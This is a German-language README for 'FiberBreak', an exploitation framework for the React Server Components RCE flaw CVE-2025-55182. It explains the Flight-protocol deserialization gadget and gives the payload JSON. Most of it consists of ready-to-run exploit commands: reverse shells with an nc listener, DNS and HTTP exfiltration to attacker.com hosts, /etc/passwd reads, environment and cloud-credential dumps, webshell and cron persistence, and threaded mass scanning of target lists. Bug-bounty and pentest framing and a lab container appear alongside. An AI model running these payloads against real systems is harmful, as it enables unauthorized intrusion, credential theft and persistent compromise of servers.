FiberBreak

Ausnutzungsframework für CVE-2025-55182 (React2Shell) – Kritische RCE-Sicherheitslücke in React Server Components.

Übersicht

• CVE: CVE-2025-55182
• CVSS: 10.0 (CRITICAL)
• Typ: Remote Code Execution (RCE)
• Betroffen: React 19.0.0-rc.0 bis 19.0.0, Next.js 15.0.0 bis 15.0.3
• Entdeckt von: Lachlan Miller (SonarSource)
• Öffentlicher PoC: maple3142

Installation

# Clone repository
git clone https://github.com/scumfrog/fiberbreak
cd fiberbreak

# Install dependencies
pip install -r requirements.txt

# Make executable
chmod +x fiberbreak.py

Schnellstart

# Build vulnerable testing environment
docker-compose up -d

# Wait for startup
sleep 20

# Test detection
./fiberbreak.py -u http://localhost:3000 detect

# Execute RCE
./fiberbreak.py -u http://localhost:3000 exploit -c "whoami"

# Verify
docker exec react2shell-lab ls -la /tmp/

Technische Details

Schwachstellenübersicht

CVE-2025-55182 ist eine kritische Sicherheitslücke zur Remote-Code-Ausführung in React Server Components (RSC), die es nicht authentifizierten Angreifern ermöglicht, beliebigen Code auf dem Server auszuführen.

Ursache: Das React Flight-Protokoll deserialisiert nicht vertrauenswürdige Client-Eingaben ohne ordnungsgemäße Validierung, was es Angreifern ermöglicht, schädliche Payloads zu erstellen, die die JavaScript-Prototypenkette und den Function-Konstruktor missbrauchen.

Angriffsvektor: Angreifer senden eine manipulierte multipart/form-data POST-Anfrage mit einem Next-Action-Header an einen beliebigen RSC-Endpunkt. Die schädliche Payload nutzt:

1. Prototype Pollution über __proto__-Zugriff
2. Freilegung des Function-Konstruktors über constructor:constructor
3. Promise-Auflösung, um die Codeausführung auszulösen

Ausnutzungsablauf

1. Angreifer sendet manipulierte POST-Anfrage
   └─ multipart/form-data mit schädlichem JSON
   └─ Next-Action-Header (beliebiger Wert)

2. Server deserialisiert Payload
   └─ React verarbeitet RSC-Chunk-Format
   └─ Löst Promise-ähnliches Objekt auf

3. Gadget-Kette wird ausgelöst
   └─ __proto__-Zugriff umgeht hasOwnProperty-Prüfungen
   └─ constructor:constructor legt Function() offen
   └─ _prefix führt beliebigen Code aus

4. RCE erreicht
   └─ Server führt JavaScript des Angreifers aus
   └─ Vollständige Systemkompromittierung

Das Gadget

{
  "then": "$1:__proto__:then",           // Prototype Pollution
  "status": "resolved_model",            // Gefälschter interner React-Status
  "reason": -1,                          // Auslösung der Auflösung
  "value": '{"then":"$B1337"}',         // Blob-Referenz
  "_response": {
    "_prefix": "MALICIOUS_CODE_HERE;",   // Ausgeführter Code
    "_formData": {
      "get": "$1:constructor:constructor" // Zugriff auf Function()
    }
  }
}

Betroffener Codepfad

// react-server-dom-webpack/src/ReactFlightClient.js
function resolveModelChunk(chunk) {
  const value = JSON.parse(chunk.value);
  
  // Fehlende Validierung hier ermöglicht schädliche Chunks
  if (value && typeof value.then === 'function') {
    // Angreifer kontrolliert die 'then'-Methode
    value.then(/* ... */);
  }
}

Nutzung

Schwachstellenerkennung

# Single target detection
./fiberbreak.py -u https://target.com detect

# Multiple targets from file
./fiberbreak.py -l targets.txt detect --threads 20

# Save results to JSON
./fiberbreak.py -l targets.txt detect -o results.json

# Disable SSL verification
./fiberbreak.py -u https://target.com detect --no-verify-ssl

Grundlegende Ausnutzung

# Simple blind command execution
./fiberbreak.py -u https://target.com exploit -c "whoami"

# Write file to disk
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/pwned.txt:HACKED" -t write_file

# Read file contents
./fiberbreak.py -u https://target.com exploit \
  -c "/etc/passwd:https://attacker.com" -t file_read

Fortgeschrittene Ausnutzung

# Reverse Shell
./fiberbreak.py -u https://target.com exploit \
  -c "10.10.10.10:4444" -t reverse_shell

# DNS-Exfiltration (verdeckt, kein HTTP-Traffic)
./fiberbreak.py -u https://target.com exploit \
  -c "whoami:attacker.oastify.com" -t dns_exfil

# HTTP-Exfiltration mit Ausgabe
./fiberbreak.py -u https://target.com exploit \
  -c "id:https://attacker.com/exfil" -t http_exfil

# Umgebungsvariablen-Dump
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/env" -t env_dump

# System-Reconnaissance
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/recon" -t recon

# Stealth-DNS-Beacon (keine Befehlsausgabe)
./fiberbreak.py -u https://target.com exploit \
  -c "attacker.oastify.com" -t stealth_beacon

Cloud-Ausnutzung

# Automatische Erkennung des Cloud-Anbieters und Extraktion von Anmeldeinformationen
# Unterstützt: AWS, GCP, Azure, DigitalOcean, Oracle Cloud, Alibaba Cloud
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/cloud" -t cloud_metadata

Payload-Typen

Typ	Format	Beschreibung	Ausgabe
simple	command	Führe beliebigen Shell-Befehl aus	Blind
output	command + --callback	Mit HTTP-Callback ausführen	Ja
reverse_shell	lhost:lport	Bash-Reverse-Shell	Interaktiv
dns_exfil	cmd:domain oder domain	DNS-Exfiltration	DNS-Logs
http_exfil	cmd:callback_url	HTTP-Exfiltration	HTTP POST
file_read	filepath:callback	Datei lesen und exfiltrieren	HTTP POST
write_file	filepath:content	Datei auf Disk schreiben	Blind
env_dump	callback_url	Umgebungsvariablen ausgeben	HTTP POST
cloud_metadata	callback_url	Cloud-Anmeldeinformationen extrahieren	HTTP POST
recon	callback_url	System-Reconnaissance	HTTP POST
stealth_beacon	domain	DNS-Beacon	DNS-Logs
webshell	filepath	Node.js-Webshell bereitstellen	Port 8080
persist	callback_url	Cron-Persistenz installieren	Cron-Job

Praxis-Szenarien

Bug-Bounty-Jagd

# 1. Verdeckte Erkennung mit DNS-Beacon
./fiberbreak.py -u https://target.com exploit \
  -c "recon.yourburp.oastify.com" -t stealth_beacon

# 2. Falls anfällig, sensible Daten extrahieren
./fiberbreak.py -u https://target.com exploit \
  -c "https://yourserver.com/exfil" -t env_dump

# 3. Cloud-Umgebung prüfen
./fiberbreak.py -u https://target.com exploit \
  -c "https://yourserver.com/cloud" -t cloud_metadata

# 4. Ergebnisse dokumentieren, ohne Schaden zu verursachen

Penetrationstests

# Phase 1: Erkennung
./fiberbreak.py -u https://target.com detect -o detection.json

# Phase 2: Verifizierung
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/pentest_proof.txt:PENTEST_$(date +%s)" -t write_file

# Phase 3: Auswirkungsbewertung
./fiberbreak.py -u https://target.com exploit \
  -c "https://pentest-server.com/impact" -t recon

# Phase 4: Extraktion von Anmeldeinformationen (falls Cloud)
./fiberbreak.py -u https://target.com exploit \
  -c "https://pentest-server.com/creds" -t cloud_metadata

# Phase 5: Interaktiver Zugriff (falls autorisiert)
# Terminal 1: Listener starten
nc -lvnp 4444

# Terminal 2: Shell holen
./fiberbreak.py -u https://target.com exploit \
  -c "YOUR_IP:4444" -t reverse_shell

Massen-Schwachstellenscan

# Zielliste erstellen
cat > targets.txt << EOF
https://app1.company.com
https://app2.company.com
https://app3.company.com
https://api.company.com
EOF

# Alle Ziele parallel scannen
./fiberbreak.py -l targets.txt detect --threads 50 -o scan_results.json

# Anfällige Ziele filtern
cat scan_results.json | jq '.[] | select(.vulnerable==true) | .url'